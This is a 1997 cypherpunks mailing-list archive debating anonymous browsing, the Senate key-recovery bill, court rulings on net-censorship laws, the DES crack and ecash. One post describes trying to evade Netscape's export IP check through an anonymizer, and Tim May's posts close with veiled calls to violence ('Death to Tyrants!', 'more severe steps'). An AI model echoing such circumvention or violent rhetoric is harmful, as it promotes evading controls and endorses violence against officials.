>Use anonymous web access to get to hotmail accounts like this one
>and you have anonymous email, easy to use.
>

Anonymous web browsing is definitely being worked on. However, simply 
chaining proxies ala remailer chains is not sufficient because traffic 
analysis is fairly trivial.

The question is what's the threat model. If the goal is to prevent the
server from identifying the client given limited resources, then 
www.anonymizer.com or similar is sufficient. However, the real problem
is preventing an entity with unlimited resources and control over most
of the nodes in the anonymous network from conducting successful traffic
analysis. This is an entirely different and very difficult problem.

The cpunks are getting some help in this from the Naval Research Lab
(although actually I think we're helping them not vice versa)
because the military seems to want to be able to browse anonymously too.

Jeremey.


-----BEGIN PGP SIGNATURE-----
Version: 5.0
Charset: noconv

iQCVAwUBM6r/FC/fy+vkqMxNAQEnWgQAvxvAwgMmUWfl9mSzh5Hsf3O/5OgqwzfS
fJzL5wNX9Pssr6dZuGXudD1OuQjUmha5e5+G3MJrrPOafsUCI3518kTVyLMbVuZG
fghrbj+s20Fyhj4G3FUM2UtzrGdaqIx/pqzkNcKyAKz3EF8iH6OSxdWWmhX/J650
qQgkrb7Om9M=
=iqAT
-----END PGP SIGNATURE-----

--
Jeremey Barrett                                BlueMoney Software Corp.
Crypto, Ecash, Commerce Systems               http://www.bluemoney.com/
PGP key fingerprint =  3B 42 1E D4 4B 17 0D 80  DC 59 6F 59 04 C3 83 64





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Gilmore <gnu@toad.com>
Date: Sat, 21 Jun 1997 06:23:10 +0800
To: cypherpunks@toad.com
Subject: Mykotronx builds Fortezza/DES card
Message-ID: <199706202211.PAA15306@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



This is great -- they've put TWO insecure crypto algorithms on one
PCMCIA card!  Mykotronx leads the industry, as usual!

	John   :-)


     Rainbow subsidiary Mykotronx and Western Datacom announce joint
     development of industry's first dual-mode cryptographic modem -- FORDESZA
 
     Business Wire - June 17, 1997 09:03
 
     MYKOTRONX WESTERN-DATACOM RNBO %CALIFORNIA %DISTRICT %OF %COLUMBIA
     %INTERACTIVE %MULTIMEDIA %INTERNET %COMED %COMPUTERS %ELECTRONICS
     %PRODUCT %TRADESHOW V%BW P%BW
 
     TORRANCE, Calif.--(BUSINESS WIRE)--June 17, 1997--Mykotronx Inc., a
     subsidiary of Rainbow Technologies Inc. (NASDAQ:RNBO), and Western
     Datacom have announced joint development of FORDESZA, a Type II PCMCIA PC
     modem card that provides both DES and FORTEZZA-based encryption and
     decryption in a single unit.
 
     FORDESZA, the first dual-mode cryptographic device designed for the
     commercial marketplace, integrates a FORTEZZA cryptographic chip
     manufactured by Mykotronx with 56-bit DES encryption.
 
     ``Mykotronx' collaboration with Western Datacom further demonstrates the
     company's commitment to providing the highest-quality cryptographic
     solutions for secure data communications,'' said John Droge, vice
     president of product development for Mykotronx. ``The first of its kind,
     FORDESZA is a state-of-the-art modem design that delivers both high
     connection speed and quality cryptographic protection.''
 
     ``Western Datacom is pleased to be working with Mykotronx on the
     development of FORDESZA,'' said Phil Ardire, president of Western
     Datacom. ``Western Datacom and Mykotronx have combined their respective
     expertise to create a breakthrough cryptographic security product to
     support users' need for secure communication.''
 
     Functioning as a V.34 bis 33,600 bps modem, FORDESZA operates as a
     FORTEZZA Crypto Card, a FORTEZZA encryptor/decryptor with a V.34 bis
     modem and as a DES encryptor/decryptor with a V.34 bis modem.
 
     FORDESZA will incorporate all security features previously developed for
     FORTEZZA, including personal identification numbers (PINs) for user
     authentication; the digital signature standard (DSS) for originator
     authentication; the key exchange algorithm (KEA) for Diffie-Hellman
     variant public key exchange; FORTEZZA and DES encryption; and the secure
     hash algorithm (SHA) for data integrity.
 
     FORDESZA accomplishes key management via both a certification authority
     workstation (CAW) and a FIPS 171-compliant software system. The CAW
     operates FORTEZZA card initialization software to program the modem with
     the user's distinguished name (DN) and public key information stored in
     X.509 certificates.
 
     A distributed database, called the directory system agent (DSA), handles
     the storage and distribution of these keys. For DES key management, the
     FIPS 171 software, which is compatible with existing Western Datacom
     DES-based products, accommodates private key changes and management of
     DES encryptors.
 
     FORTEZZA encryption has been accepted by the Department of Commerce's key
     recovery program. Encryption keys can now be kept by an approved third
     party, with copies available to law-enforcement agencies only under a
     court order.
 
     For more information about FORDESZA, contact Mykotronx at 310/533-8100
     (fax 310/533-0527) or Western Datacom at 216/835-1510 (e-mail:
     wdc@western-data.com).
 
     With headquarters in Torrance, Mykotronx is a world leader in providing
     high-grade encryption and decryption equipment essential for use in space
     and other sensitive digital communication environments.
 
     Founded in 1979, and acquired by Rainbow Technologies in 1995, Mykotronx
     has more National Security Agency approved products than any other
     corporation. Demonstrating the company's commitment to quality, Mykotronx
     designs and manufactures products that meet the requirements of
     MIL-Q-9858 A (``Quality Program Requirements'') and MIL-I-45208
     (``Inspection System Requirements'').
 
     Rainbow Technologies, with 1996 revenues in excess of $81 million, is a
     leading supplier of software-protection, license-management and
     Internet-security products worldwide. Rainbow has offices in the United
     States, France, Germany, Russia and the United Kingdom, and is ISO-9002
     certified.
 
        CONTACT:  Rainbow Technologies Inc.
                  Ann Jones, 714/450-7350
                             ajones@rnbo.com
                    or
                  Bock Communications Inc.
                  Valerie Christopherson/Brian Bardwell, 714/374-3530
                                              vchristopherson@msn.com
 
        REPEATS: New York 212-752-9600 or 800-221-2462; Boston 617-236-4266 or
              800-225-2030; SF 415-986-4422 or 800-227-0845; LA 310-820-9473
 
        All content is compiled from a variety of sources by News Alert and
                        provided as a service of PC Quote.
      See important copyright information. Refresh your screen often for the
                                latest information.
 
                              (c) 1997 News Alert Inc.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 21 Jun 1997 06:25:48 +0800
To: Steve Schear <azur@netcom.com>
Subject: Re: Courts strike down New York and Georgia Net-censorship laws
In-Reply-To: <v03102802afd0a943ff87@[10.0.2.15]>
Message-ID: <Pine.GSO.3.95.970620151503.19203A-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



Steve -- Believe it or not, yes, state Net-gambling laws could fall under
the dormant commerce clause and be struck down by courts. If they ruled
consistently. I suspect they won't. 

This is a fascinating area. I'll probably post more about this over the
weekend.

-Declan



On Fri, 20 Jun 1997, Steve Schear wrote:

> >But the rulings differ in important ways. Manhattan's
> >Judge Preska did not answer whether the New York law
> >violated the First Amendment, saying she was going to
> >wait for the U.S. Supreme Court's to rule on the
> >Communications Decency Act. She said, however, that
> >she didn't *need to answer* that question to strike
> >down the law since it violated the U.S. Constitution's
> >ban on states attempts to regulate commerce outside
> >their borders.
> 
> Might this also mean that states attempting to restrict Internet gaming
> might similarly be restrained?
> 
> 
> 
> PGP mail preferred
> Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
> ---------------------------------------------------------------------
> Steve Schear              | tel: (702) 658-2654
> CEO                       | fax: (702) 658-2673
> First ECache Corporation  |
> 7075 West Gowan Road      |
> Suite 2148                |
> Las Vegas, NV 89129       | Internet: azur@netcom.com
> ---------------------------------------------------------------------
> 
>         I know not what instruments others may use,
>         but as for me, give me Ecache or give me debt.
> 
>         SHOW ME THE DIGITS!
> 
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Sat, 21 Jun 1997 06:22:16 +0800
To: Tim May <tcmay@got.net>
Subject: Re: New Laws in Oregon - "Land of the Legal betatest"
In-Reply-To: <Pine.GSO.3.96.970620105013.1120B-100000@linda.teleport.com>
Message-ID: <v03102803afd0aafa668d@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



>An interesting set of issues about "states rights" and "local control." I
>used to think--indeed, this is what I was taught--that certain things
>stated in the U.S. Constitution, such as the various items in the Bill of
>Rights we mention so often, would block many local or state laws.
>
>Thus, if Nebraska passed a law restricting religious freedoms, making Islam
>a crime, for example, then this would be "struck down" by the Supremes.
>
>I no longer feel very secure in this belief. For example, many states,
>counties, and cities have laws which abridge the Second Amendment. Why are
>these local laws not unconstitutional? When I have raised these points I
>have been told by law professors (for example, on the Cyberia list) that
>surely I support "states rights," don't I?
>
>I now think it is likely that the 50 state legislatures, the thousands of
>county and city governments, will accelerate their lawmaking machinery.
>They have learned that the way to steady employment is to proliferate
>bureacracies, that despite various scattered attempts to limit such
>bureacratic growth, the expansion basically continues and even acclerates.
>This ensures a huge job pool for politicians and bureaucrats. (Even
>politicians who "retire" or are "voted out" find continued employment in
>regional and local bureaucracies....
>

One reason this is occuring is that there is no direct consequence to the
legislators.  In those states which have referendums and where legislators
waste  taxpayers money by enacting a stream of laws which are subsequently
ruled unconstitutional, why don't libertarians propose a law which would
financially penalize those congressrats which voted in favor of passage.
I'm sure it will be tough to write something which itself will pass
constitutional muster, but think of the headlines!

--Steve


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur@netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
        but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 21 Jun 1997 07:26:05 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Anonymous browsing (was Re: Getting Back to our Radical Roots)
In-Reply-To: <199706202052.NAA05467@f16.hotmail.com>
Message-ID: <v03102812afd0bebb24c2@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 3:07 PM -0700 6/20/97, Jeremey Barrett wrote:

>The cpunks are getting some help in this from the Naval Research Lab
>(although actually I think we're helping them not vice versa)
>because the military seems to want to be able to browse anonymously too.

I rather suspect the motives are more complicated than this.

It is an easy enough matter for anyone in the CIA or NSA or DIA or whatever
to get cutout accounts in any number of ISPs, either local or connected to
remotely in the usual ways. This lets them surf rapidly and quickly, and
with little traceability so long as they maintain an "air gap" between the
nyms.

"ddenning@nsa.gov" can become "witch666@aol.com" or "shill@clarke.net"
rather easily.

When I was at CFP a few months back, and NSA guy said he read the
Cypherpunks list regularly. And a CIA analyst who attended the Hackers
Conference recognized my name when I happened to sit down next to him at a
meal, and said his office often looked to the CP list for insights into how
various proposals would be met. I don't recall either of their names--I
wasn't that interested in tracking them--but I rather suspect their
subscriptions were under under other names or at least other domain names,
or forwarded directly off of other sites.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 21 Jun 1997 07:57:00 +0800
To: cypherpunks@toad.com
Subject: Re: CDT Policy Post 3.08 - Senate Committee Approves Key Crypto Bill
Message-ID: <Pine.GSO.3.95.970620164114.11215C-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Fri, 20 Jun 1997 19:22:37 -0400 (EDT)
From: Charles Platt <cp@panix.com>
To: Declan McCullagh <declan@well.com>
Subject: Re: CDT Policy Post 3.08 - Senate Committee Approves Key Crypto Bill (fwd)

> From: Jonah Seiger <jseiger@cdt.org>

> This process is raw and smelly, I know, but it's also called Democracy.

The United States is not a pure democracy, it is a constitutional
republic. I believe I have a constitutional right to privacy. I also
believe that I probably have a constitutional right to anonymity. It
doesn't matter what "most senators" think, or indeed what "most Americans"
think, if their thinking is contradicted by the Constitution. We do not
have simple majority rule, here. In fact the founders of the country went 
out of their way to insure that the simple majority could not easily 
violate the principles upon which the country was founded.

> But before we get all caught up in the old jihad between "the purists" and
> the "pragmatists", just think about this for a moment:  If we are going to
> have a prayer of getting out of this Congress without getting stuck with
> manditory key recovery, we have to at least recognize where we fit in to
> the overall equation and how the system actually works.  We can do a lot to
> impact the outcome of this issue -- but not if we are operating in a
> different area code from reality.

This can be summarized as "compromise or else." I have never believed 
that this is an acceptable policy when dealing with people who are 
ethically impaired. Moreover, it is not even a SENSIBLE policy, from a 
purely pragmatic point of view. Did ACT-UP adopt a compromising position 
in order to get what they wanted? Would they have done better if they had 
agreed to compromise? Of course not. You have no hope of getting even a 
fraction of what you want, when dealing with the power-crazed yahoos in 
DC, unless you are willing either to bribe them or be an intransigent 
extremist. (So it seems to me, anyway.)

The CDT party line always seems to be, "play ball and kiss ass in the hope 
that legislators will be nice to you." Thanks, but no thanks.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 21 Jun 1997 08:12:18 +0800
To: cypherpunks@toad.com
Subject: Re: CDT Policy Post 3.08 - Senate Committee Approves Key Crypto Bill
Message-ID: <Pine.GSO.3.95.970620164959.11215F-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Fri, 20 Jun 1997 19:44:33 -0400 (EDT)
From: Charles Platt <cp@panix.com>
To: Declan McCullagh <declan@well.com>
Subject: Re: CDT Policy Post 3.08 - Senate Committee Approves Key Crypto Bill (fwd)

> From: "Shabbir J. Safdar" <shabbir@vtw.org>

> We owe them a great big debt of thanks, not the derision that goes with
> Alice in Wonderland political punditry.

They did what they did because they thought it was in their interests; 
otherwise they wouldn't have done it. We owe them nothing, and I am 
horrified to see this phrase. How much do you owe a parasite that tries 
to negotiate with other parasites to take slightly less of your blood 
than they originally expected?

Statements similar to yours have been made so many times, scolding
"extremists" for "not being realistic." I seem to remember something about
extremism in defense of liberty being no vice, and moderation no virtue.
Either way, if you compromise, you don't get what you want. That is
absolutely obvious. So why compromise? 







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 21 Jun 1997 08:13:02 +0800
To: "Robert A. Costner" <pooh@efga.org>
Subject: Re: [EFGA] WE won our court case!! (fwd)
In-Reply-To: <Pine.LNX.3.94.970620151844.2244J-100000@neptune.chem.uga.edu>
Message-ID: <3.0.2.32.19970620165723.00756920@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



>From: "Robert A. Costner" <pooh@efga.org>
>To: action@efga.org
>Subject: [EFGA] WE won our court case!!
>
>EFGA was granted a preliminary injunction in our court case 
>against the state of Georgia.  Details and press release to follow.

Yee-hah!  If you ignore CONgress, we've had a good week, between
this court and the New York CDA courts doing the right thing
and the DES crack finishing.

>Let's meet somewhere tonight to celebrate!

Obviously y'all should meet in the Atlanta Underground, wearing masks :-)

(though I won't be there, since it's a bit far from the West Coast...)


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 21 Jun 1997 08:21:43 +0800
To: Mac Norton <mnorton@cavern.uark.edu>
Subject: Re: Courts strike down New York and Georgia Net-censorship laws
In-Reply-To: <Pine.SOL.3.96.970620182926.6841B-100000@cavern.uark.edu>
Message-ID: <Pine.GSO.3.95.970620165732.11215G-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



Pardon me as I muddle through this --

Defamation law looks to local communities to define
things like reputation. What about huge Internet
communities? What about the distinction between public
and private figures?

Wouldn't an even-handed application of the commerce
clause stop states from banning child porn or passing
libel/defamation laws for the Net?

Though I agree that no court would strike down a child
porn law on commerce clause grounds...

Dan Burk has written much about this topic, and I'm
planning to read up on it over the weekend. One of his
law review articles came up during oral arguments before
Judge Preska in NYC.

-Declan


On Fri, 20 Jun 1997, Mac Norton wrote:

> On Fri, 20 Jun 1997, Steve Schear wrote:
> 
> > >But the rulings differ in important ways. Manhattan's
> > >Judge Preska did not answer whether the New York law
> > >violated the First Amendment, saying she was going to
> > >wait for the U.S. Supreme Court's to rule on the
> > >Communications Decency Act. She said, however, that
> > >she didn't *need to answer* that question to strike
> > >down the law since it violated the U.S. Constitution's
> > >ban on states attempts to regulate commerce outside
> > >their borders.
> > 
> > Might this also mean that states attempting to restrict Internet gaming
> > might similarly be restrained?
> 
> Not necessarily, and that's ilustrative of one of the problems with this
> decision on Commerce Clause grounds.  Is child porn, like other articles
> of "commerce", generic across state lines, or is it subject to a Miller
> "community standard"?  Same for the "harmful to minors" standard?
> MacN
>   
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Benjamin Grosman <bgrosman@healey.com.au>
Date: Fri, 20 Jun 1997 15:15:47 +0800
To: Charles Platt <cp@panix.com>
Subject: Re: Extremely Disappointing: Political Cryptography
In-Reply-To: <Pine.SUN.3.91.970620000629.13057D-100000@panix.com>
Message-ID: <33AA2A2A.57A07997@healey.com.au>
MIME-Version: 1.0
Content-Type: text/plain



> I'm not saying I _want_ an agency making decisions for us; only that
> it
> would be slightly less hideously exasperating than our present
> situation,
> where technoliterates are being ruled by technoilliterates.
>
I would totally agree with you here...having an agency is definitely the
best of a bad set of choices.

> corrupt. We might get two or three good years out of a Federal
> Internet
> Agency, depending who was appointed to run it.

And that would probably be a major problem...finding someone with whom
both the government and industry are happy.

Ben





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Sat, 21 Jun 1997 08:36:55 +0800
To: Steve Schear <azur@netcom.com>
Subject: Re: New Laws in Oregon - "Land of the Legal betatest"
In-Reply-To: <v0310280cafd07f143053@[207.167.93.63]>
Message-ID: <3.0.2.32.19970620170015.00950c20@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain



>One reason this is occuring is that there is no direct consequence to the
>legislators.

I suggest adopting two very popular memes to reach this goal - three
strikes term limits. A legislator who votes for three different laws which
are eventually struck down as unconstitutional shall be removed from
office, and unable to serve in the legislature again for at least 25 years.

Perhaps first offenders can be offered the opportunity to participate in a
diversion program, whereby they're forced to [re]take classes in
constitutional law and civics, and if they succesfully complete the program
and don't reoffend within one year, the first violation will be ignored. 


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 21 Jun 1997 08:28:49 +0800
To: cypherpunks@cyberpass.net
Subject: Re: It's not over
In-Reply-To: <199706202210.AAA28568@basement.replay.com>
Message-ID: <v03102813afd0cc3a509f@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 4:32 PM -0700 6/20/97, Declan McCullagh wrote:
>Perhaps there is more reason to be worried than Anonymous lets on.
>
>This afternoon I stopped by the office of a Congressional staffer who
>will, appropriately, remain anonymous. This person knows crypto, follows
>it, even truly believes in it. But they were pessimistic about any good,
>or even half-decent, crypto legislation leaving the Congress. Which
>committee will insert it? And what good crypto legislation would pass a
>presidential veto?
>
>DC crypto-lobbyists should have seen this coming. Instead of lifting
>export controls -- or even leaving intact the status quo -- Congress is
>about to make things worse.
>
>Perhaps cypherpunks should turn crypto-rejectionist.

Hey, that's _my_ line!!! (:-})

I've been arguing the "rejectionist" view for a long time. I even mentioned
this to Bidzos and Zimmermann, separately of course, and they both uttered
some variant of "Sign me up." Could be marketspeak jive in one or both
cases, but probably both saw the essential hopelessness of having Congress
reaffirm the Constitution. And this is all that was ever needed.

As I've said, the problems of whether some company can _export_ some
product, serious as they are to _them_, are as nothing compared to
mandatory key escrow, criminalization of crypto, and restrictions on
domestic use.


>On Sat, 21 Jun 1997, Anonymous wrote:
>
>> Let's cut all the doom and gloom here.  The bill isn't passed yet.  It's
>> got to go through at least one and possibly two more committees before
>> it reaches the senate floor, where we'll have another chance to defeat it.
>>
>> Even then the house has to pass similar legislation.  That will be yet
>>another
>> chance.

It will sail through. Trust me.


>> When Clipper was proposed, a wave of anger and opposition swept forth.
>> The same thing needs to happen now.  This fatalism is self defeating.

Au contraire, "Anonymous." I was there. Maybe you were there (your writing
style reminds me of someone).

What Cypherpunks did then was not to lobby for some law to halt Clipper.
Check the archives if you don't believe this.


>> Either you're part of the solution or you're part of the problem.
>>People who
>> say there's no use fighting, who give up, who oppose the efforts of the
>> crypto lobbying groups in the name of ideological purity, are not part of
>> the solution.  They have no right to complain if this law passes.  By
>> sitting aside and carping at the efforts of those who are trying to stop
>>this
>> kind of legislation, they are only helping to bring it about.

We are not "carping" about those "trying to stop this kind of legislation."
Most of us did not condemn Pro-CODE, though it had some flaws. (And
Pro-CODE II was an absolute disgrace, giving power back to the TLAs to
determine algorithms...might as well not even have it.) SAFE was of course
perniciously evil, as it criminalized a form of speech. Nothing in the
Constitution allows such criminalization of a form of speech. But I have
written much on why SAFE is bad leglislation.

In any case, all the much-publicized lobbying of EPIC and CDT and all the
rest to get "compromise" legislation through has led to what? To a
last-minute, politics as usual substitution and passage of a draconian,
Orwellian bill which will change the landscape of freedom in the world.

The only way to fight it is by monkeywrenching enforceability, and by
pushing the limits of offshore communication.

Or by more severe steps. They have earned it.

--Timothy McMay


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: iang@cs.berkeley.edu (Ian Goldberg)
Date: Sat, 21 Jun 1997 01:45:48 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Fw: Advance Bank launches ecash
In-Reply-To: <199706201622.UAA05969@ns2.emirates.net.ae>
Message-ID: <5oeeq4$cfo@abraham.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain



In article <v03102809afd06491f5c7@[207.167.93.63]>,
Tim May  <tcmay@got.net> wrote:
>At 9:22 AM -0700 6/20/97, Wayne Clerke wrote:
>>Seen this? Another bank braving the Digicash ecash waters:
>> ----
>>From: Edward Breese x1364 <edwardb@executive.advance.com.au>
>>To: ecash-merchant <ecash-merchant@advance.com.au>
>>Date: Friday, 20 June 1997 11:50
>>Subject: Advance Bank launches ecash
>>
>>>
>>>Hi everyone,
>>>
>>>Thank you for being so patient.  ecash is now available from our web site
>>>at:  http//www.advance.com.au/ecash
>>>
>>>You will find plenty of information to help you set up your ecash purse
>>and
>>>configure a web site to accept ecash.  You can  download our latest
>
>I was unable to connect to the listed URL, but I rather suspect this is not
>a form of "e-cash" that is of much interest or use to Cypherpunks.
>
>No mention of "untraceable" or "anonymous" or "Chaum." And no mention of
>"Digicash," except in your (Wayne's) introduction; Digicash is, rightly or
>wrongly, a trademark of the company with the same name.

It _is_ in fact Digicash's ecash.  Do you really think it's surprising
that the Bank's press release does not mention "untraceable" or
"anonymous"? :-)

   - Ian





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 21 Jun 1997 08:45:29 +0800
To: cypherpunks@Algebra.COM
Subject: "Strength of encryption standard proved again"
In-Reply-To: <199706210004.UAA26052@jazz.cape.com>
Message-ID: <v03102814afd0d05f49c3@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



( cryptography@c2.net removed from the distribution list, as I am not a
subscriber to that list, and Perry has admonished me when I have
accidentally left his list on the cc: to my messages)


Reuter (Washington, Friday), Security experts reported today that the
nation's encryption standard, "DES," has been proved to be secure. "It took
more than 1000 computers working for 3 months before a single "toy example"
was finally found, " reported Murray Bowdark, Director of the Computer
Security Association, Ft. Meade, Maryland.

"This shows that even a concerted effort by thousands of hackers will take
months," said Bowdark.  "And since hacking like this is outlawed by new
legislation just passed by Congress, this makes "cracking DES" about as
improbable as proving that the CIA imported drugs."


(OK, I confess. Not a real press release. But, as ET notes below in his
article, the spin doctors are already drawing the conclusion that many of
us expected they would draw: by using the crack to prove that this means
DES is resistant against thousands of computers running for months. And to
tell the truth, were I less aware of some of the issues surrounding
hardware-based DES-crackers, I admit that this report would tend to leave
me with this impression. I can imagine most of our parents would look up
from the CNN report on this and say, if they said anything, "OK, so my bank
account is pretty secure.")




At 5:05 PM -0700 6/20/97, ET wrote:
>I caught the Headline News mention of the DES crack and it
>unfortunately put the wrong spin on things.
>
>I can't remember it word for word, but it went like this:
>"If you're going to decrypt financial transactions you'd better
>be prepared to get 1000 computers and spend 3 months on
>the project."
>
>The report was delivered with a hint of a smile, as if to suggest
>that the time and resources might have been better spent.
>
>*Sigh*


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 21 Jun 1997 06:29:43 +0800
To: cypherpunks@toad.com
Subject: Re: (Fwd) New crypto bill clears committee
Message-ID: <v030209adafd0b165e2e1@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


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Date: Fri, 20 Jun 1997 17:00:33 -0400
To: espam@intertrader.com, e$pam <e$pam@atanda.com>
From: Robert Hettinga <rah@shipwright.com>
Subject: Re: (Fwd) New crypto bill clears committee
Sender: owner-espam@lists.espace.net
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Reply-To: e$@thumper.vmeng.com

---------------------------------------------------------------------
This mail is brought to you by the e$pam mailing list
---------------------------------------------------------------------

owner-cryptography@c2.org using -f
X-Sender: rah@atanda.com
Mime-Version: 1.0
Date: Fri, 20 Jun 1997 15:15:58 -0400
To: Adam Shostack <adam@homeport.org>
From: Robert Hettinga <rah@shipwright.com>
Subject: Re: (Fwd) New crypto bill clears committee
Cc: cryptography@c2.net
Sender: owner-cryptography@c2.net

> At 7:56 AM -0400 6/20/97, Adam Shostack wrote:
 > I plan to spend a substaintial portion of my day explaining to the
 > large companies I consult with that this is a very bad thing, and they
 > should be opposing its advance.

 Said syllogistically,

 Digital Commerce *is* Financial Cryptography,
 Financial Cryptography *is* Strong Cryptography,
 therefore,
 Digital Commerce *is* Strong Cryptography.
 and therefore,
 No Strong Cryptography, no Digital Commerce.


 Instructions for the use of this syllogism:

 Invite 'em to a presentation.

 Use one proposition per slide, with nothing on the slide but the
 proposition, centered vertically and horizontally. Don't make handouts.

 Put up the first slide, and defend the proposition.
 Repeat until last slide.

 Ask for questions.

 The bill is in the mail. ;-).

 QED,
 RAH


 -----------------
 Robert Hettinga (rah@shipwright.com), Philodox
 e$, 44 Farquhar Street, Boston, MA 02131 USA
 "... however it may deserve respect for its usefulness and antiquity,
 [predicting the end of the world] has not been found agreeable to
 experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
 The e$ Home Page: http://www.shipwright.com/


---------------------------------------------------------------------
Where people, networks and money come together: Consult Hyperion
http://www.hyperion.co.uk                    info@hyperion.co.uk
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Like e$? Help pay for it!  See <http://www.shipwright.com/beg.html>
Or, for e$/e$pam sponsorship, <mailto:rah@shipwright.com>
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--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 21 Jun 1997 07:40:57 +0800
To: paul@fatmans.demon.co.uk
Subject: cypherpunks import code (was Re: Cypherpunks write code)
In-Reply-To: <Pine.LNX.3.91.970620124049.285A-100000@fatmans.demon.co.uk>
Message-ID: <199706201718.SAA01942@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Paul Bradley <paul@fatmans.demon.co.uk> writes:
> Does www.anonymizer.com run at a decent speed within the US? I tried
> to use it from here yesterday to get past the IP address cheching
> for the export page on www.netscape.com, and it was too slow (just
> stalled on about 1k)

Nice try, but it won't work.  anonymizer.com doesn't handle SSL
sessions, and the actual download part opens an SSL session for the
download.

I think this was discussed before, and the reason for no SSL sessions
was the CPU load this would add on anonymizer.com, IIRC.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mac Norton <mnorton@cavern.uark.edu>
Date: Sat, 21 Jun 1997 08:24:14 +0800
To: Steve Schear <azur@netcom.com>
Subject: Re: Courts strike down New York and Georgia Net-censorship laws
In-Reply-To: <v03102802afd0a943ff87@[10.0.2.15]>
